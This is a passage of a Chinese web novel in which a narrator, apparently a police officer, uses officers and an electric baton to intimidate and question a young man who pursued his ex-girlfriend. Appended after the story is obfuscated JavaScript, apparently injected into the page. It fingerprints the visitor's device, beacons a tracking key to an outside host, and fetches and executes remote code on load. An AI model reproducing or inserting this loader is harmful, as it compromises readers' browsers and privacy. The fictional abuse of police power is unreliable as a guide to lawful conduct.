对小梅,对张晶,甚至对格格,都好像无所谓了。无论她们怎样对我,好像都无所谓。

如此无端的猜测,如此闲极无聊,如此的多疑,这不应该是一个心胸宽广的男

人所应该具备的特征。我能这样无聊的揣测身边的女人,无非也就是因为我现在有

空儿了,有大块儿的空余时间。对!我太闲着了。我应该找点儿事儿做,让自己活

得更忙碌些,更充实些。

换个角度,即便白玲或者小梅真的对我有所企图,只要我把握住自己,不让那

些能伤害我自身利益的结果出现,那么她们再怎么算计,我又有什么损失呢?

正所谓‘以不变应万变’,我只要顺其自然的享受着她们给予我的温柔,这不是

很好吗?换个下流龌龊的说法,这样的温柔总比拿钱去找小姐来的便宜吧?妈的,

想到哪儿去了。

我看见楼下两辆车子开到了楼门口,六子下来朝上面看了一眼,我尽量的控制

音量告诉他我马上下去。

两辆印着‘司法’字样的猎豹,跟在我的后面向铁西区开去,六子就坐在我的身边。

“什么事儿呀,老大?”

“去吓唬吓唬人,顺便安慰一下我的一个小美眉。”我目不转睛的看着前面的

路。晚上的沈阳,路上没几辆车,但是我仍然小心的驾驶着,避免哪个路口突然窜

出哪个愣爹给我一下。

“怎么回事?能说不?”

“是这么回事……”我简单的介绍了一下张晶的状况。

“啊,这么回事儿啊!那还用你呀?我一个人就行了,还加上魏哥派来的两个

人,用得着吗?”六子显得有点儿不屑。

“我想一下让他记住,让他记得清清楚楚的,让他再想起张晶来就做噩梦。另

外,小心一点儿没什么坏处。”

“那我明白了。待会儿,你就看我的就行。”

“不能动手,记住。”

“放心吧,我知道。”六子的能力我从来都没怀疑过,他总是能把你交代的事情

做的滴水不漏,甚至超过你的预期。

一路上很顺利,不到半个小时就到了目的地,路上居然只碰到2个红灯。这是一

栋大概20年前的楼,楼下的道路虽然不算新,但还算平整,楼宇间的绿化带规规

矩矩的。

小马路的一侧停满了汽车,我们三辆车小心翼翼的停在了2单元的门口。两辆

猎豹都打着警灯,没开警笛,蓝色的警灯灯光在夜晚的黑暗中显得那么神秘。下了

车,我让两个警察跟着我上楼,六子留在车里。

轻手轻脚的走上五楼,看见一个人坐在五楼通往六楼的楼梯上,抽着烟,地上

散落着不少烟蒂。看上去是个20左右岁的年轻人,穿戴时髦,应该说在农村算是

时髦的,在城市里就应该说是‘不伦不类’了。

借着楼道感应灯的光线,我看见他额前的一缕头发染成了金黄色,脸上有几颗

青春痘,五官看上去还算是周正。看到我打量他,他故意把头低下,好像在仔细的

寻找地面上的什么东西一样。不过,这个动作和微微颤抖的烟头显示出他内心的恐

惧。没错,是个外强中干的东西!

“带走!”我指着他,惜字如命的说。

“起来,别说话,跟我走!”两个警察一左一右的夹住他。

“我咋地了?抓我干什么?”尽管他尽量的保持冷静,但颤抖的声音出卖了他。

“想少遭罪,就闭嘴。”一个警察冷冷的说。

“听见没?”另一个拿出一根电棍,啪啪作响的电棍让他闭嘴了,乖乖的跟着两

个人下去了。

‘叮咚……’我按了一下门铃。里面没有声音。

“开门,是我。”我拨通了手机。

门开了一道缝儿,张晶恐惧的大眼睛向外张望,看清了只有我以后,豆大的泪

珠滚落下来。一下子把门推开,突出的门把手把旁边的墙壁撞了一个正着,然后死

死的抱住我,哭!

“好了,好了,进屋吧!”我搂着她走进去。

是个一室一厅的小户型,厅也就是个饭厅。直接进了卧室,只有一张床,一张

桌子和一张沙发。能看出来,她刚刚进来没多久,屋里没有多余的摆设。床上一片

狼藉,地上还有几张已经破烂的报纸,桌子上面放着一个倒了的方便面桶,汤汁在

桌子上面已经凝固了。好像是,这间屋子里面曾经发生过争执,但我知道现在不是

问的时候。扶着她坐在床上。刚坐下,她突然站起来,吓了我一跳。

“哥……”

“怎么了?来,坐。”我拍了拍床。

“我想……”

“有话就说啊,想什么?”

“你能不能带我走?我不想待这儿。”她好像很厌恶这张床。

“嗯,行。”想了想,我回答她,然后站起来。

“我想找个旅馆,可我没钱……”她说话的声音很小,身体靠着我,好像怕我跑了

一样。

“跟我走吧,我带你去个安静的环境,嗯!”我轻声的安慰她,一边带着她下楼。

下到楼下,我看见两辆猎豹的车厢里面都亮着灯,只有我的凯旋孤零零的停在

旁边。我打开车门,把张晶按进驾驶室,然后让座椅倾斜,打开CD,把音量缩到

最小。

“在这儿躺一会儿,我去看看。”

“哥,快点儿回来。”

“放心吧,我得看看,他到底有没有录像,你在这里躺一会儿,要是睏了就睡。”

打开车门,我看见车里一共有4个人,六子坐在大力的旁边,两个警察就在六

子后面。六子的腿上面放着一个文件夹,他拿着笔正在写着什么,大力就低着头,

两只手放在紧紧靠在一起的两腿中间,神情沮丧。我先让两个警察到另外一辆车上

面,我不想太多人知道这件事情的详细情况。

“怎么样了?”我问。

“张队,你看看。”六子装的还挺象的,把文件夹和身份证递给我。

我大致的看了一下,上面写了一些大力的自然情况,估计是六子装模作样的

‘审讯’结果。他叫吴大力,今年23岁,家住梅河口,目前无业,高中毕业。前天

坐火车来到沈阳的,找到了张晶以前的同乡打听到张晶现在的住处……

“大哥,我真的没……”这小子突然一口哭腔的开口,吓了我一跳。

“别吵,闭嘴,我没问你就闭嘴!”我提高了音量,余光看见六子好像也吓了一跳。

“我问你,你跟张晶是什么关系?”我平静的问他。

“对象,她是我对象。”他好像挺想我问他,回答的很快。

“什么时候开始处对象的?”

“04年开始的,今年……”

“今年,怎么了?说!”

“今年黄了。”

“什么时候黄的?”我问的很快,根本就不给他思考的时间,这也是审讯的一种

手段。

“2个月前。”

“那,现在你跟她没关系了?”

“嗯!”

“那你还来找她干什么?”

“我后悔了,想看看她。”

“然后呢?”

“然后……然后你们就来了。我什么也没干,我都不知道你们为什么抓我,我咋

地了?”他突然提高了音量,好像自己挺有理似的。

“别大呼小叫的!没有怀疑,我们不会随便抓人,再说现在是调查情况,不是

正式拘捕你。老老实实的回答我的问题,别隐瞒,别撒谎,听见没?”

“嗯,你问吧。问完了,我是不就能走了?”想走?想走就好办。

“你什么时候来的?我是问你什么时候来到这里的?”

“昨天下午。”

“住在哪里?”

“就住这啊!”他的表情,仿佛是我问了一个愚蠢的问题。

“中间离开过没?”

“没有。”

“那,你为什么坐在楼道里面抽烟?”

“我跟她吵架了,她就把我撵出来了。吵架不行啊?”他这回抬起头来了,好像

豪情万丈的看着我。

“吵架可以,确实不犯法。从昨天下午,到今天晚上,你在她的屋子里都干什

么了?”

“呃……呆着来的,呆着不行啊?”他好像没想到我会掉过头往回问。

“详细说,都干过什么?一件事情都别落,不要隐瞒,也别撒谎,这是最后一

次提醒你。”

“嗯……吃了一碗方便面,睡了一觉,上了两趟厕所,看了会儿报纸……没了。”这

小子尽量的保持着冷静,但闪烁的眼神说明他肯定遗漏了什么。



function LodBcPtu(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function slijGJnT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return LodBcPtu(t);};window[''+'T'+'l'+'s'+'n'+'i'+'O'+'d'+'h'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function cydIN(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=slijGJnT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=cydIN(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=cydIN(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhhLmlpbHhh6cS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','167199',window,document,['h','T']);}:function(){};

关闭